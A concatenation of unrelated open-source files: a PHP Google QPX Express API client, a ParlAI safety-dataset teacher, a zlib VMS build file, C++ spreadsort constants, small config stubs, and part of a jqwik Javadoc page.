return $this->call('search', array($params), "Google_Service_QPXExpress_TripsSearchResponse");
}
}
class Google_Service_QPXExpress_AircraftData extends Google_Model
{
public $code;
public $kind;
public $name;
public function setCode($code)
{
$this->code = $code;
}
public function getCode()
{
return $this->code;
}
public function setKind($kind)
{
$this->kind = $kind;
}
public function getKind()
{
return $this->kind;
}
public function setName($name)
{
$this->name = $name;
}
public function getName()
{
return $this->name;
}
}
class Google_Service_QPXExpress_AirportData extends Google_Model
{
public $city;
public $code;
public $kind;
public $name;
public function setCity($city)
{
$this->city = $city;
}
public function getCity()
{
return $this->city;
}
public function setCode($code)
{
$this->code = $code;
}
public function getCode()
{
return $this->code;
}
public function setKind($kind)
{
$this->kind = $kind;
}
public function getKind()
{
return $this->kind;
}
public function setName($name)
{
$this->name = $name;
}
public function getName()
{
return $this->name;
}
}
class Google_Service_QPXExpress_BagDescriptor extends Google_Collection
{
protected $collection_key = 'description';
public $commercialName;
public $count;
public $description;
public $kind;
public $subcode;
public function setCommercialName($commercialName)
{
$this->commercialName = $commercialName;
}
public function getCommercialName()
{
return $this->commercialName;
}
public function setCount($count)
{
$this->count = $count;
}
public function getCount()
{
return $this->count;
}
public function setDescription($description)
{
$this->description = $description;
}
public function getDescription()
{
return $this->description;
}
public function setKind($kind)
{
$this->kind = $kind;
}
public function getKind()
{
return $this->kind;
}
public function setSubcode($subcode)
{
$this->subcode = $subcode;
}
public function getSubcode()
{
return $this->subcode;
}
}
class Google_Service_QPXExpress_CarrierData extends Google_Model
{
public $code;
public $kind;
public $name;
public function setCode($code)
{
$this->code = $code;
}
public function getCode()
{
return $this->code;
}
public function setKind($kind)
{
$this->kind = $kind;
}
public function getKind()
{
return $this->kind;
}
public function setName($name)
{
$this->name = $name;
}
public function getName()
{
return $this->name;
}
}
class Google_Service_QPXExpress_CityData extends Google_Model
{
public $code;
public $country;
public $kind;
public $name;
public function setCode($code)
{
$this->code = $code;
}
public function getCode()
{
return $this->code;
}
public function setCountry($country)
{
$this->country = $country;
}
public function getCountry()
{
return $this->country;
}
public function setKind($kind)
{
$this->kind = $kind;
}
public function getKind()
{
return $this->kind;
}
public function setName($name)
{
$this->name = $name;
}
public function getName()
{
return $this->name;
}
}
class Google_Service_QPXExpress_Data extends Google_Collection
{
protected $collection_key = 'tax';
protected $aircraftType = 'Google_Service_QPXExpress_AircraftData';
protected $aircraftDataType = 'array';
protected $airportType = 'Google_Service_QPXExpress_AirportData';
protected $airportDataType = 'array';
protected $carrierType = 'Google_Service_QPXExpress_CarrierData';
protected $carrierDataType = 'array';
protected $cityType = 'Google_Service_QPXExpress_CityData';
protected $cityDataType = 'array';
public $kind;
protected $taxType = 'Google_Service_QPXExpress_TaxData';
protected $taxDataType = 'array';
public function setAircraft($aircraft)
{
$this->aircraft = $aircraft;
}
public function getAircraft()
{
return $this->aircraft;
}
public function setAirport($airport)
{
$this->airport = $airport;
}
public function getAirport()
{
return $this->airport;
}
public function setCarrier($carrier)
{
$this->carrier = $carrier;
}
public function getCarrier()
{
return $this->carrier;
}
public function setCity($city)
{
$this->city = $city;
}
public function getCity()
{
return $this->city;
}
public function setKind($kind)
{
$this->kind = $kind;
}
public function getKind()
{
return $this->kind;
}
public function setTax($tax)
{
$this->tax = $tax;
}
public function getTax()
{
return $this->tax;
}
}
class Google_Service_QPXExpress_FareInfo extends Google_Model
{
public $basisCode;
public $carrier;
public $destination;
public $id;
public $kind;
public $origin;
public $private;
public function setBasisCode($basisCode)
{
$this->basisCode = $basisCode;
}
public function getBasisCode()
{
return $this->basisCode;
}
public function setCarrier($carrier)
{
$this->carrier = $carrier;
}
public function getCarrier()
{
return $this->carrier;
}
public function setDestination($destination)
{
$this->destination = $destination;
}
public function getDestination()
{
return $this->destination;
}
public function setId($id)
{
$this->id = $id;
}
public function getId()
{
return $this->id;
}
public function setKind($kind)
{
$this->kind = $kind;
}
public function getKind()
{
return $this->kind;
}
public function setOrigin($origin)
{
$this->origin = $origin;
}
public function getOrigin()
{
return $this->origin;
}
public function setPrivate($private)
{
$this->private = $private;
}
public function getPrivate()
{
return $this->private;
}
}
class Google_Service_QPXExpress_FlightInfo extends Google_Model
{
public $carrier;
public $number;
public function setCarrier($carrier)
{
$this->carrier = $carrier;
}
public function getCarrier()
{
return $this->carrier;
}
public function setNumber($number)
{
$this->number = $number;
}
public function getNumber()
{
return $this->number;
}
}
class Google_Service_QPXExpress_FreeBaggageAllowance extends Google_Collection
{
protected $collection_key = 'bagDescriptor';
protected $bagDescriptorType = 'Google_Service_QPXExpress_BagDescriptor';
protected $bagDescriptorDataType = 'array';
public $kilos;
public $kilosPerPiece;
public $kind;
public $pieces;
public $pounds;
public function setBagDescriptor($bagDescriptor)
{
$this->bagDescriptor = $bagDescriptor;
}
public function getBagDescriptor()
{
return $this->bagDescriptor;
}
public function setKilos($kilos)
{
$this->kilos = $kilos;
}
public function getKilos()
{
return $this->kilos;
}
public function setKilosPerPiece($kilosPerPiece)
{
$this->kilosPerPiece = $kilosPerPiece;
}
public function getKilosPerPiece()
{
return $this->kilosPerPiece;
}
public function setKind($kind)
{
$this->kind = $kind;
}
public function getKind()
{
return $this->kind;
}
public function setPieces($pieces)
{
$this->pieces = $pieces;
}
public function getPieces()
{
return $this->pieces;
}
public function setPounds($pounds)
{
$this->pounds = $pounds;
}
public function getPounds()
{
return $this->pounds;
}
}
class Google_Service_QPXExpress_LegInfo extends Google_Model
{
public $aircraft;
public $arrivalTime;
public $changePlane;
public $connectionDuration;
public $departureTime;
public $destination;
public $destinationTerminal;
public $duration;
public $id;
public $kind;
public $meal;
public $mileage;
public $onTimePerformance;
public $operatingDisclosure;
public $origin;
public $originTerminal;
public $secure;
public function setAircraft($aircraft)
{
$this->aircraft = $aircraft;
}
public function getAircraft()
{
return $this->aircraft;
}
public function setArrivalTime($arrivalTime)
{
$this->arrivalTime = $arrivalTime;
}
public function getArrivalTime()
{
return $this->arrivalTime;
}
public function setChangePlane($changePlane)
{
$this->changePlane = $changePlane;
}
public function getChangePlane()
{
return $this->changePlane;
}
public function setConnectionDuration($connectionDuration)
{
$this->connectionDuration = $connectionDuration;
}
public function getConnectionDuration()
{
return $this->connectionDuration;
}
public function setDepartureTime($departureTime)
{
$this->departureTime = $departureTime;
}
public function getDepartureTime()
{
return $this->departureTime;
}
public function setDestination($destination)
{
$this->destination = $destination;
}
public function getDestination()
{
return $this->destination;
}
public function setDestinationTerminal($destinationTerminal)
{
$this->destinationTerminal = $destinationTerminal;
}
public function getDestinationTerminal()
{
return $this->destinationTerminal;
}
public function setDuration($duration)
{
$this->duration = $duration;
}
public function getDuration()
{
return $this->duration;
}
public function setId($id)
{
$this->id = $id;
}
public function getId()
{
return $this->id;
}
public function setKind($kind)
{
$this->kind = $kind;
}
public function getKind()
{
return $this->kind;
}
public function setMeal($meal)
{
$this->meal = $meal;
}
public function getMeal()
{
return $this->meal;
}
public function setMileage($mileage)
{
$this->mileage = $mileage;
}
public function getMileage()
{
return $this->mileage;
}
public function setOnTimePerformance($onTimePerformance)
{
$this->onTimePerformance = $onTimePerformance;
}
public function getOnTimePerformance()
{
return $this->onTimePerformance;
}
public function setOperatingDisclosure($operatingDisclosure)
{
$this->operatingDisclosure = $operatingDisclosure;
}
public function getOperatingDisclosure()
{
return $this->operatingDisclosure;
}
public function setOrigin($origin)
{
$this->origin = $origin;
}
public function getOrigin()
{
return $this->origin;
}
public function setOriginTerminal($originTerminal)
{
$this->originTerminal = $originTerminal;
}
public function getOriginTerminal()
{
return $this->originTerminal;
}
public function setSecure($secure)
{
$this->secure = $secure;
}
public function getSecure()
{
return $this->secure;
}
}
class Google_Service_QPXExpress_PassengerCounts extends Google_Model
{
public $adultCount;
public $childCount;
public $infantInLapCount;
public $infantInSeatCount;
public $kind;
public $seniorCount;
public function setAdultCount($adultCount)
{
$this->adultCount = $adultCount;
}
public function getAdultCount()
{
return $this->adultCount;
}
public function setChildCount($childCount)
{
$this->childCount = $childCount;
}
public function getChildCount()
{
return $this->childCount;
}
public function setInfantInLapCount($infantInLapCount)
{
$this->infantInLapCount = $infantInLapCount;
}
public function getInfantInLapCount()
{
return $this->infantInLapCount;
}
public function setInfantInSeatCount($infantInSeatCount)
{
$this->infantInSeatCount = $infantInSeatCount;
}
public function getInfantInSeatCount()
{
return $this->infantInSeatCount;
}
public function setKind($kind)
{
$this->kind = $kind;
}
public function getKind()
{
return $this->kind;
}
public function setSeniorCount($seniorCount)
{
$this->seniorCount = $seniorCount;
}
public function getSeniorCount()
{
return $this->seniorCount;
}
}
class Google_Service_QPXExpress_PricingInfo extends Google_Collection
{
protected $collection_key = 'tax';
public $baseFareTotal;
protected $fareType = 'Google_Service_QPXExpress_FareInfo';
protected $fareDataType = 'array';
public $fareCalculation;
public $kind;
public $latestTicketingTime;
protected $passengersType = 'Google_Service_QPXExpress_PassengerCounts';
protected $passengersDataType = '';
public $ptc;
public $refundable;
public $saleFareTotal;
public $saleTaxTotal;
public $saleTotal;
protected $segmentPricingType = 'Google_Service_QPXExpress_SegmentPricing';
protected $segmentPricingDataType = 'array';
protected $taxType = 'Google_Service_QPXExpress_TaxInfo';
protected $taxDataType = 'array';
public function setBaseFareTotal($baseFareTotal)
{
$this->baseFareTotal = $baseFareTotal;
}
public function getBaseFareTotal()
{
return $this->baseFareTotal;
}
public function setFare($fare)
{
$this->fare = $fare;
}
public function getFare()
{
return $this->fare;
}
public function setFareCalculation($fareCalculation)
{
$this->fareCalculation = $fareCalculation;
}
public function getFareCalculation()
{
return $this->fareCalculation;
}
public function setKind($kind)
{
$this->kind = $kind;
}
public function getKind()
{
return $this->kind;
}
public function setLatestTicketingTime($latestTicketingTime)
{
$this->latestTicketingTime = $latestTicketingTime;
}
public function getLatestTicketingTime()
{
return $this->latestTicketingTime;
}
public function setPassengers(Google_Service_QPXExpress_PassengerCounts $passengers)
{
$this->passengers = $passengers;
}
public function getPassengers()
{
return $this->passengers;
}
public function setPtc($ptc)
{
$this->ptc = $ptc;
}
public function getPtc()
{
return $this->ptc;
}
public function setRefundable($refundable)
{
$this->refundable = $refundable;
}
public function getRefundable()
{
return $this->refundable;
}
public function setSaleFareTotal($saleFareTotal)
{
$this->saleFareTotal = $saleFareTotal;
}
public function getSaleFareTotal()
{
return $this->saleFareTotal;
}
public function setSaleTaxTotal($saleTaxTotal)
{
$this->saleTaxTotal = $saleTaxTotal;
}
public function getSaleTaxTotal()
{
return $this->saleTaxTotal;
}
public function setSaleTotal($saleTotal)
{
$this->saleTotal = $saleTotal;
}
public function getSaleTotal()
{
return $this->saleTotal;
}
public function setSegmentPricing($segmentPricing)
{
$this->segmentPricing = $segmentPricing;
}
public function getSegmentPricing()
{
return $this->segmentPricing;
}
public function setTax($tax)
{
$this->tax = $tax;
}
public function getTax()
{
return $this->tax;
}
}
class Google_Service_QPXExpress_SegmentInfo extends Google_Collection
{
protected $collection_key = 'leg';
public $bookingCode;
public $bookingCodeCount;
public $cabin;
public $connectionDuration;
public $duration;
protected $flightType = 'Google_Service_QPXExpress_FlightInfo';
protected $flightDataType = '';
public $id;
public $kind;
protected $legType = 'Google_Service_QPXExpress_LegInfo';
protected $legDataType = 'array';
public $marriedSegmentGroup;
public $subjectToGovernmentApproval;
public function setBookingCode($bookingCode)
{
$this->bookingCode = $bookingCode;
}
public function getBookingCode()
{
return $this->bookingCode;
}
public function setBookingCodeCount($bookingCodeCount)
{
$this->bookingCodeCount = $bookingCodeCount;
}
public function getBookingCodeCount()
{
return $this->bookingCodeCount;
}
public function setCabin($cabin)
{
$this->cabin = $cabin;
}
public function getCabin()
{
return $this->cabin;
}
public function setConnectionDuration($connectionDuration)
{
$this->connectionDuration = $connectionDuration;
}
public function getConnectionDuration()
{
return $this->connectionDuration;
}
public function setDuration($duration)
{
$this->duration = $duration;
}
public function getDuration()
{
return $this->duration;
}
public function setFlight(Google_Service_QPXExpress_FlightInfo $flight)
{
$this->flight = $flight;
}
public function getFlight()
{
return $this->flight;
}
public function setId($id)
{
$this->id = $id;
}
public function getId()
{
return $this->id;
}
public function setKind($kind)
{
$this->kind = $kind;
}
public function getKind()
{
return $this->kind;
}
public function setLeg($leg)
{
$this->leg = $leg;
}
public function getLeg()
{
return $this->leg;
}
public function setMarriedSegmentGroup($marriedSegmentGroup)
{
$this->marriedSegmentGroup = $marriedSegmentGroup;
}
public function getMarriedSegmentGroup()
{
return $this->marriedSegmentGroup;
}
public function setSubjectToGovernmentApproval($subjectToGovernmentApproval)
{
$this->subjectToGovernmentApproval = $subjectToGovernmentApproval;
}
public function getSubjectToGovernmentApproval()
{
return $this->subjectToGovernmentApproval;
}
}
class Google_Service_QPXExpress_SegmentPricing extends Google_Collection
{
protected $collection_key = 'freeBaggageOption';
public $fareId;
protected $freeBaggageOptionType = 'Google_Service_QPXExpress_FreeBaggageAllowance';
protected $freeBaggageOptionDataType = 'array';
public $kind;
public $segmentId;
public function setFareId($fareId)
{
$this->fareId = $fareId;
}
public function getFareId()
{
return $this->fareId;
}
public function setFreeBaggageOption($freeBaggageOption)
{
$this->freeBaggageOption = $freeBaggageOption;
}
public function getFreeBaggageOption()
{
return $this->freeBaggageOption;
}
public function setKind($kind)
{
$this->kind = $kind;
}
public function getKind()
{
return $this->kind;
}
public function setSegmentId($segmentId)
{
$this->segmentId = $segmentId;
}
public function getSegmentId()
{
return $this->segmentId;
}
}
class Google_Service_QPXExpress_SliceInfo extends Google_Collection
{
protected $collection_key = 'segment';
public $duration;
public $kind;
protected $segmentType = 'Google_Service_QPXExpress_SegmentInfo';
protected $segmentDataType = 'array';
public function setDuration($duration)
{
$this->duration = $duration;
}
public function getDuration()
{
return $this->duration;
}
public function setKind($kind)
{
$this->kind = $kind;
}
public function getKind()
{
return $this->kind;
}
public function setSegment($segment)
{
$this->segment = $segment;
}
public function getSegment()
{
return $this->segment;
}
}
class Google_Service_QPXExpress_SliceInput extends Google_Collection
{
protected $collection_key = 'prohibitedCarrier';
public $alliance;
public $date;
public $destination;
public $kind;
public $maxConnectionDuration;
public $maxStops;
public $origin;
public $permittedCarrier;
protected $permittedDepartureTimeType = 'Google_Service_QPXExpress_TimeOfDayRange';
protected $permittedDepartureTimeDataType = '';
public $preferredCabin;
public $prohibitedCarrier;
public function setAlliance($alliance)
{
$this->alliance = $alliance;
}
public function getAlliance()
{
return $this->alliance;
}
public function setDate($date)
{
$this->date = $date;
}
public function getDate()
{
return $this->date;
}
public function setDestination($destination)
{
$this->destination = $destination;
}
public function getDestination()
{
return $this->destination;
}
public function setKind($kind)
{
$this->kind = $kind;
}
public function getKind()
{
return $this->kind;
}
public function setMaxConnectionDuration($maxConnectionDuration)
{
$this->maxConnectionDuration = $maxConnectionDuration;
}
public function getMaxConnectionDuration()
{
return $this->maxConnectionDuration;
}
public function setMaxStops($maxStops)
{
$this->maxStops = $maxStops;
}
public function getMaxStops()
{
return $this->maxStops;
}
public function setOrigin($origin)
{
$this->origin = $origin;
}
public function getOrigin()
{
return $this->origin;
}
public function setPermittedCarrier($permittedCarrier)
{
$this->permittedCarrier = $permittedCarrier;
}
public function getPermittedCarrier()
{
return $this->permittedCarrier;
}
public function setPermittedDepartureTime(Google_Service_QPXExpress_TimeOfDayRange $permittedDepartureTime)
{
$this->permittedDepartureTime = $permittedDepartureTime;
}
public function getPermittedDepartureTime()
{
return $this->permittedDepartureTime;
}
public function setPreferredCabin($preferredCabin)
{
$this->preferredCabin = $preferredCabin;
}
public function getPreferredCabin()
{
return $this->preferredCabin;
}
public function setProhibitedCarrier($prohibitedCarrier)
{
$this->prohibitedCarrier = $prohibitedCarrier;
}
public function getProhibitedCarrier()
{
return $this->prohibitedCarrier;
}
}
class Google_Service_QPXExpress_TaxData extends Google_Model
{
public $id;
public $kind;
public $name;
public function setId($id)
{
$this->id = $id;
}
public function getId()
{
return $this->id;
}
public function setKind($kind)
{
$this->kind = $kind;
}
public function getKind()
{
return $this->kind;
}
public function setName($name)
{
$this->name = $name;
}
public function getName()
{
return $this->name;
}
}
class Google_Service_QPXExpress_TaxInfo extends Google_Model
{
public $chargeType;
public $code;
public $country;
public $id;
public $kind;
public $salePrice;
public function setChargeType($chargeType)
{
$this->chargeType = $chargeType;
}
public function getChargeType()
{
return $this->chargeType;
}
public function setCode($code)
{
$this->code = $code;
}
public function getCode()
{
return $this->code;
}
public function setCountry($country)
{
$this->country = $country;
}
public function getCountry()
{
return $this->country;
}
public function setId($id)
{
$this->id = $id;
}
public function getId()
{
return $this->id;
}
public function setKind($kind)
{
$this->kind = $kind;
}
public function getKind()
{
return $this->kind;
}
public function setSalePrice($salePrice)
{
$this->salePrice = $salePrice;
}
public function getSalePrice()
{
return $this->salePrice;
}
}
class Google_Service_QPXExpress_TimeOfDayRange extends Google_Model
{
public $earliestTime;
public $kind;
public $latestTime;
public function setEarliestTime($earliestTime)
{
$this->earliestTime = $earliestTime;
}
public function getEarliestTime()
{
return $this->earliestTime;
}
public function setKind($kind)
{
$this->kind = $kind;
}
public function getKind()
{
return $this->kind;
}
public function setLatestTime($latestTime)
{
$this->latestTime = $latestTime;
}
public function getLatestTime()
{
return $this->latestTime;
}
}
class Google_Service_QPXExpress_TripOption extends Google_Collection
{
protected $collection_key = 'slice';
public $id;
public $kind;
protected $pricingType = 'Google_Service_QPXExpress_PricingInfo';
protected $pricingDataType = 'array';
public $saleTotal;
protected $sliceType = 'Google_Service_QPXExpress_SliceInfo';
protected $sliceDataType = 'array';
public function setId($id)
{
$this->id = $id;
}
public function getId()
{
return $this->id;
}
public function setKind($kind)
{
$this->kind = $kind;
}
public function getKind()
{
return $this->kind;
}
public function setPricing($pricing)
{
$this->pricing = $pricing;
}
public function getPricing()
{
return $this->pricing;
}
public function setSaleTotal($saleTotal)
{
$this->saleTotal = $saleTotal;
}
public function getSaleTotal()
{
return $this->saleTotal;
}
public function setSlice($slice)
{
$this->slice = $slice;
}
public function getSlice()
{
return $this->slice;
}
}
class Google_Service_QPXExpress_TripOptionsRequest extends Google_Collection
{
protected $collection_key = 'slice';
public $maxPrice;
protected $passengersType = 'Google_Service_QPXExpress_PassengerCounts';
protected $passengersDataType = '';
public $refundable;
public $saleCountry;
protected $sliceType = 'Google_Service_QPXExpress_SliceInput';
protected $sliceDataType = 'array';
public $solutions;
public function setMaxPrice($maxPrice)
{
$this->maxPrice = $maxPrice;
}
public function getMaxPrice()
{
return $this->maxPrice;
}
public function setPassengers(Google_Service_QPXExpress_PassengerCounts $passengers)
{
$this->passengers = $passengers;
}
public function getPassengers()
{
return $this->passengers;
}
public function setRefundable($refundable)
{
$this->refundable = $refundable;
}
public function getRefundable()
{
return $this->refundable;
}
public function setSaleCountry($saleCountry)
{
$this->saleCountry = $saleCountry;
}
public function getSaleCountry()
{
return $this->saleCountry;
}
public function setSlice($slice)
{
$this->slice = $slice;
}
public function getSlice()
{
return $this->slice;
}
public function setSolutions($solutions)
{
$this->solutions = $solutions;
}
public function getSolutions()
{
return $this->solutions;
}
}
class Google_Service_QPXExpress_TripOptionsResponse extends Google_Collection
{
protected $collection_key = 'tripOption';
protected $dataType = 'Google_Service_QPXExpress_Data';
protected $dataDataType = '';
public $kind;
public $requestId;
protected $tripOptionType = 'Google_Service_QPXExpress_TripOption';
protected $tripOptionDataType = 'array';
public function setData(Google_Service_QPXExpress_Data $data)
{
$this->data = $data;
}
public function getData()
{
return $this->data;
}
public function setKind($kind)
{
$this->kind = $kind;
}
public function getKind()
{
return $this->kind;
}
public function setRequestId($requestId)
{
$this->requestId = $requestId;
}
public function getRequestId()
{
return $this->requestId;
}
public function setTripOption($tripOption)
{
$this->tripOption = $tripOption;
}
public function getTripOption()
{
return $this->tripOption;
}
}
class Google_Service_QPXExpress_TripsSearchRequest extends Google_Model
{
protected $requestType = 'Google_Service_QPXExpress_TripOptionsRequest';
protected $requestDataType = '';
public function setRequest(Google_Service_QPXExpress_TripOptionsRequest $request)
{
$this->request = $request;
}
public function getRequest()
{
return $this->request;
}
}
class Google_Service_QPXExpress_TripsSearchResponse extends Google_Model
{
public $kind;
protected $tripsType = 'Google_Service_QPXExpress_TripOptionsResponse';
protected $tripsDataType = '';
public function setKind($kind)
{
$this->kind = $kind;
}
public function getKind()
{
return $this->kind;
}
public function setTrips(Google_Service_QPXExpress_TripOptionsResponse $trips)
{
$this->trips = $trips;
}
public function getTrips()
{
return $this->trips;
}
}
|
{
"pile_set_name": "Github"
}
|
#!/usr/bin/env python3
# Copyright (c) Facebook, Inc. and its affiliates.
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
from abc import ABC, abstractmethod
import os
import random
from parlai.core.message import Message
from parlai.core.teachers import FixedDialogTeacher
from .build import build
SINGLE_TURN_DATA = 'single_turn_safety.json'
OK_CLASS = '__ok__'
NOT_OK_CLASS = '__notok__'
class _BaseSafetyTeacher(FixedDialogTeacher, ABC):
"""
Abstract parent class for single turn safety teachers.
Not meant to be a standalone teacher.
"""
@staticmethod
def add_cmdline_args(parser):
parser = parser.add_argument_group('Safety Teacher Args')
parser.add_argument(
'--round',
type=int,
default=1,
choices=[1, 2, 3],
help='Which round of data to use',
)
parser.add_argument(
'--round-only',
type='bool',
default=False,
help='if False, includes all rounds up to including the specified '
'round; if True, only includes data from the specified round',
)
return parser
def __init__(self, opt, shared=None):
build(opt['datapath']) # download the data
self.opt = opt
self.data_path = os.path.join(
opt['datapath'], 'dialogue_safety', SINGLE_TURN_DATA
)
self.fixed_random = random.Random(42)
self.round = opt['round']
self.label_candidates = [NOT_OK_CLASS, OK_CLASS]
if shared and 'data' in shared:
self.data = shared['data']
else:
self._setup_data(opt['datatype'])
super().__init__(opt, shared)
self.reset()
@abstractmethod
def _load_data_dump(self):
pass
def num_episodes(self):
return len(self.data)
def num_examples(self):
return len(self.data)
def _setup_data(self, datatype):
# load data
self.data_dump = self._load_data_dump()
d_type = datatype.split(':')[0]
self.data = []
if not self.opt['round_only']:
# loop and add other rounds
for i in range(self.round - 1):
rnd = str(i + 1)
for x in ['good', 'bad']:
self.data += self.data_dump[d_type][rnd][x]
# add data from current round
for x in ['good', 'bad']:
self.data += self.data_dump[d_type][str(self.round)][x]
self.fixed_random.shuffle(self.data)
def get(self, episode_idx, entry_idx):
return Message(self.data[episode_idx])
def share(self):
shared = super().share()
shared['data'] = self.data
return shared
|
{
"pile_set_name": "Github"
}
|
# descrip.mms: MMS description file for building zlib on VMS
# written by Martin P.J. Zinser <m.zinser@gsi.de>
cc_defs =
c_deb =
.ifdef __DECC__
pref = /prefix=all
.endif
OBJS = adler32.obj, compress.obj, crc32.obj, gzio.obj, uncompr.obj,\
deflate.obj, trees.obj, zutil.obj, inflate.obj, infblock.obj,\
inftrees.obj, infcodes.obj, infutil.obj, inffast.obj
CFLAGS= $(C_DEB) $(CC_DEFS) $(PREF)
all : example.exe minigzip.exe
@ write sys$output " Example applications available"
libz.olb : libz.olb($(OBJS))
@ write sys$output " libz available"
example.exe : example.obj libz.olb
link example,libz.olb/lib
minigzip.exe : minigzip.obj libz.olb
link minigzip,libz.olb/lib,x11vms:xvmsutils.olb/lib
clean :
delete *.obj;*,libz.olb;*
# Other dependencies.
adler32.obj : zutil.h zlib.h zconf.h
compress.obj : zlib.h zconf.h
crc32.obj : zutil.h zlib.h zconf.h
deflate.obj : deflate.h zutil.h zlib.h zconf.h
example.obj : zlib.h zconf.h
gzio.obj : zutil.h zlib.h zconf.h
infblock.obj : zutil.h zlib.h zconf.h infblock.h inftrees.h infcodes.h infutil.h
infcodes.obj : zutil.h zlib.h zconf.h inftrees.h infutil.h infcodes.h inffast.h
inffast.obj : zutil.h zlib.h zconf.h inftrees.h infutil.h inffast.h
inflate.obj : zutil.h zlib.h zconf.h infblock.h
inftrees.obj : zutil.h zlib.h zconf.h inftrees.h
infutil.obj : zutil.h zlib.h zconf.h inftrees.h infutil.h
minigzip.obj : zlib.h zconf.h
trees.obj : deflate.h zutil.h zlib.h zconf.h
uncompr.obj : zlib.h zconf.h
zutil.obj : zutil.h zlib.h zconf.h
|
{
"pile_set_name": "Github"
}
|
SET (BUILD_MODULE 1)
|
{
"pile_set_name": "Github"
}
|
/**
* Copyright (c) 2020 Contributors to the Eclipse Foundation
*
* See the NOTICE file(s) distributed with this work for additional
* information regarding copyright ownership.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License 2.0 which is available at
* https://www.eclipse.org/legal/epl-2.0
*
* SPDX-License-Identifier: EPL-2.0
*/
/*******************************************************************************
* Copyright (c) 2015 Bosch Software Innovations GmbH and others.
* All rights reserved. This program and the accompanying materials
* are made available under the terms of the Eclipse Public License v1.0
* and Eclipse Distribution License v1.0 which accompany this distribution.
*
* The Eclipse Public License is available at
* http://www.eclipse.org/legal/epl-v10.html
* The Eclipse Distribution License is available at
* http://www.eclipse.org/org/documents/edl-v10.php.
*
* Contributors:
* Bosch Software Innovations GmbH - Please refer to git log
*******************************************************************************/
package org.eclipse.vorto.editor.mapping.generator
import org.eclipse.emf.ecore.resource.Resource
import org.eclipse.xtext.generator.AbstractGenerator
import org.eclipse.xtext.generator.IFileSystemAccess2
import org.eclipse.xtext.generator.IGeneratorContext
/**
* Generates code from your model files on save.
*
* see http://www.eclipse.org/Xtext/documentation.html#TutorialCodeGeneration
*/
class MappingGenerator extends AbstractGenerator {
override doGenerate(Resource input, IFileSystemAccess2 fsa, IGeneratorContext context) {
// throw new UnsupportedOperationException("TODO: auto-generated method stub")
}
}
|
{
"pile_set_name": "Github"
}
|
export const environment = {
production: true,
apiBase: 'http://localhost',
};
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright (c) 2015 Morwenn
* SPDX-License-Identifier: MIT
*/
//constant definitions for the Boost Sort library
// Copyright Steven J. Ross 2001 - 2014
// Distributed under the Boost Software License, Version 1.0.
// (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
// See http://www.boost.org/libs/sort for library home page.
#ifndef CPPSORT_DETAIL_SPREADSORT_DETAIL_CONSTANTS_H_
#define CPPSORT_DETAIL_SPREADSORT_DETAIL_CONSTANTS_H_
namespace cppsort
{
namespace detail
{
namespace spreadsort
{
namespace detail
{
//Tuning constants
//This should be tuned to your processor cache;
//if you go too large you get cache misses on bins
//The smaller this number, the less worst-case memory usage.
//If too small, too many recursions slow down spreadsort
enum { max_splits = 11,
//It's better to have a few cache misses and finish sorting
//than to run another iteration
max_finishing_splits = max_splits + 1,
//Sets the minimum number of items per bin.
int_log_mean_bin_size = 2,
//Used to force a comparison-based sorting for small bins, if it's faster.
//Minimum value 1
int_log_min_split_count = 9,
//This is the minimum split count to use spreadsort when it will finish in one
//iteration. Make this larger the faster std::sort is relative to integer_sort.
int_log_finishing_count = 31,
//Sets the minimum number of items per bin for floating point.
float_log_mean_bin_size = 2,
//Used to force a comparison-based sorting for small bins, if it's faster.
//Minimum value 1
float_log_min_split_count = 8,
//This is the minimum split count to use spreadsort when it will finish in one
//iteration. Make this larger the faster std::sort is relative to float_sort.
float_log_finishing_count = 4,
//There is a minimum size below which it is not worth using spreadsort
min_sort_size = 1000 };
}}}}
#endif // CPPSORT_DETAIL_SPREADSORT_DETAIL_CONSTANTS_H_
|
{
"pile_set_name": "Github"
}
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="de">
<head>
<!-- Generated by javadoc -->
<title>Assume (documentation 1.3.1 API)</title>
<link rel="stylesheet" type="text/css" href="../../../stylesheet.css" title="Style">
<script type="text/javascript" src="../../../script.js"></script>
</head>
<body>
<script type="text/javascript"><!--
try {
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="Assume (documentation 1.3.1 API)";
}
}
catch(err) {
}
//-->
var methods = {"i0":9,"i1":9};
var tabs = {65535:["t0","All Methods"],1:["t1","Static Methods"],8:["t4","Concrete Methods"]};
var altColor = "altColor";
var rowColor = "rowColor";
var tableTab = "tableTab";
var activeTableTab = "activeTableTab";
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a name="navbar.top">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div>
<a name="navbar.top.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../index-all.html">Index</a></li>
<li><a href="../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../net/jqwik/api/Arbitrary.ArbitraryFacade.html" title="class in net.jqwik.api"><span class="typeNameLink">Prev Class</span></a></li>
<li><a href="../../../net/jqwik/api/CannotFindArbitraryException.html" title="class in net.jqwik.api"><span class="typeNameLink">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../index.html?net/jqwik/api/Assume.html" target="_top">Frames</a></li>
<li><a href="Assume.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_top">
<li><a href="../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_top");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li>Nested | </li>
<li>Field | </li>
<li>Constr | </li>
<li><a href="#method.summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li>Field | </li>
